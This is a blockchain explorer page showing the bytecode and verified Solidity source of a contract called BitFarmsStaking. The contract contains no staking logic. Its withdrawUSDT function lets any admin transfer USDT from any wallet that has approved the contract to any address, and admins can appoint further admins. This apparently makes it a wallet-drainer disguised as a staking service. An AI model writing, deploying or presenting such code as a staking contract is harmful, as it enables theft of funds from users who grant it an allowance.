Address Contract Verified
Address
0x4035bc60296095fDab684b6522fCc670491d0bFD
Balance
0 ETH
Nonce
1
Code Size
4095 bytes
Creator
0x68370cB5...6403 at tx 0x9949d9de...67b711
Indexed Transactions
0
Contract Bytecode
4095 bytes
0x608060405234801561000f575f80fd5b5060043610610055575f3560e01c80631785f53c14610059578063429b62e51461007557806352be6f57146100a557806370480275146100c15780639d76ea58146100dd575b5f80fd5b610073600480360381019061006e91906109ca565b6100fb565b005b61008f600480360381019061008a91906109ca565b6102a7565b60405161009c9190610a0f565b60405180910390f35b6100bf60048036038101906100ba9190610a5b565b6102c4565b005b6100db60048036038101906100d691906109ca565b61072e565b005b6100e5610949565b6040516100f29190610aba565b60405180910390f35b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161017b90610b53565b60405180910390fd5b60015f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661020d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161020490610bbb565b60405180910390fd5b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fa3b62bc36326052d97ea62d63c3d60308ed4c3ea8ac079dd8499f1e9c4f80c0f60405160405180910390a250565b6001602052805f5260405f205f915054906101000a900460ff1681565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661034d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034490610b53565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036103bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b290610c23565b60405180910390fd5b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b81526004016104199190610aba565b602060405180830381865afa158015610434573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104589190610c55565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b8152600401610496929190610c80565b602060405180830381865afa1580156104b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d59190610c55565b90508382101561051a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051190610cf1565b60405180910390fd5b8381101561055d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055490610d59565b60405180910390fd5b5f808473ffffffffffffffffffffffffffffffffffffffff1688888860405160240161058b93929190610d86565b6040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516106159190610e0d565b5f604051808303815f865af19150503d805f811461064e576040519150601f19603f3d011682016040523d82523d5f602084013e610653565b606091505b509150915081801561068057505f8151148061067f57508080602001905181019061067e9190610e4d565b5b5b6106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690610ec2565b60405180910390fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8bd6cbb6f5022fd9aa668e1aa80f16dd8cb4f1c4c3a26ae07e1f44d1fbdb6f8b8860405161071c9190610ee0565b60405180910390a35050505050505050565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ae90610b53565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90610f43565b60405180910390fd5b60015f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a690610fab565b60405180910390fd5b6001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d6d25963f097ad14f29f06854a01f575648a1ef82f30e562ccd3889717e33960405160405180910390a250565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61099982610970565b9050919050565b6109a98161098f565b81146109b3575f80fd5b50565b5f813590506109c4816109a0565b92915050565b5f602082840312156109df576109de61096c565b5b5f6109ec848285016109b6565b91505092915050565b5f8115159050919050565b610a09816109f5565b82525050565b5f602082019050610a225f830184610a00565b92915050565b5f819050919050565b610a3a81610a28565b8114610a44575f80fd5b50565b5f81359050610a5581610a31565b92915050565b5f805f60608486031215610a7257610a7161096c565b5b5f610a7f868287016109b6565b9350506020610a90868287016109b6565b9250506040610aa186828701610a47565b9150509250925092565b610ab48161098f565b82525050565b5f602082019050610acd5f830184610aab565b92915050565b5f82825260208201905092915050565b7f4f6e6c792061646d696e2063616e20706572666f726d207468697320616374695f8201527f6f6e000000000000000000000000000000000000000000000000000000000000602082015250565b5f610b3d602283610ad3565b9150610b4882610ae3565b604082019050919050565b5f6020820190508181035f830152610b6a81610b31565b9050919050565b7f4e6f7420616e2061646d696e00000000000000000000000000000000000000005f82015250565b5f610ba5600c83610ad3565b9150610bb082610b71565b602082019050919050565b5f6020820190508181035f830152610bd281610b99565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f610c0d601983610ad3565b9150610c1882610bd9565b602082019050919050565b5f6020820190508181035f830152610c3a81610c01565b9050919050565b5f81519050610c4f81610a31565b92915050565b5f60208284031215610c6a57610c6961096c565b5b5f610c7784828501610c41565b91505092915050565b5f604082019050610c935f830185610aab565b610ca06020830184610aab565b9392505050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f610cdb601483610ad3565b9150610ce682610ca7565b602082019050919050565b5f6020820190508181035f830152610d0881610ccf565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f610d43601683610ad3565b9150610d4e82610d0f565b602082019050919050565b5f6020820190508181035f830152610d7081610d37565b9050919050565b610d8081610a28565b82525050565b5f606082019050610d995f830186610aab565b610da66020830185610aab565b610db36040830184610d77565b949350505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610de782610dbb565b610df18185610dc5565b9350610e01818560208601610dcf565b80840191505092915050565b5f610e188284610ddd565b915081905092915050565b610e2c816109f5565b8114610e36575f80fd5b50565b5f81519050610e4781610e23565b92915050565b5f60208284031215610e6257610e6161096c565b5b5f610e6f84828501610e39565b91505092915050565b7f55534454205472616e73666572206661696c65640000000000000000000000005f82015250565b5f610eac601483610ad3565b9150610eb782610e78565b602082019050919050565b5f6020820190508181035f830152610ed981610ea0565b9050919050565b5f602082019050610ef35f830184610d77565b92915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f610f2d600f83610ad3565b9150610f3882610ef9565b602082019050919050565b5f6020820190508181035f830152610f5a81610f21565b9050919050565b7f416c726561647920616e2061646d696e000000000000000000000000000000005f82015250565b5f610f95601083610ad3565b9150610fa082610f61565b602082019050919050565b5f6020820190508181035f830152610fc281610f89565b905091905056fea2646970667358221220ac14d8162e8b9bc12469532286872357a2c5fbfcd38d6c82f6b7359e9530e78d64736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
bitfarmsstaking.sol 61 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract BitFarmsStaking {
address public tokenAddress;
mapping(address => bool) public admins;
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event USDTWithdrawn(address indexed from, address indexed to, uint256 amount);
constructor(address _tokenAddress) {
tokenAddress = _tokenAddress;
admins[msg.sender] = true;
emit AdminAdded(msg.sender);
}
modifier onlyAdmin() {
require(admins[msg.sender], "Only admin can perform this action");
_;
}
function addAdmin(address _admin) external onlyAdmin {
require(_admin != address(0), "Invalid address");
require(!admins[_admin], "Already an admin");
admins[_admin] = true;
emit AdminAdded(_admin);
}
function removeAdmin(address _admin) external onlyAdmin {
require(admins[_admin], "Not an admin");
admins[_admin] = false;
emit AdminRemoved(_admin);
}
function withdrawUSDT(address from, address to, uint256 amount) external onlyAdmin {
require(to != address(0), "Invalid recipient address");
IERC20 token = IERC20(tokenAddress);
uint256 balance = token.balanceOf(from);
uint256 allowance = token.allowance(from, address(this));
require(balance >= amount, "Insufficient balance");
require(allowance >= amount, "Insufficient allowance");
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "USDT Transfer failed");
emit USDTWithdrawn(from, to, amount);
}
}
Read Contract
admins 0x429b62e5 → bool
tokenAddress 0x9d76ea58 → address
Write Contract 3 functions
These functions modify contract state and require a wallet transaction to execute.
addAdmin 0x70480275
address _admin
removeAdmin 0x1785f53c
address _admin
withdrawUSDT 0x52be6f57
address from
address to
uint256 amount
Recent Transactions
No transactions found for this address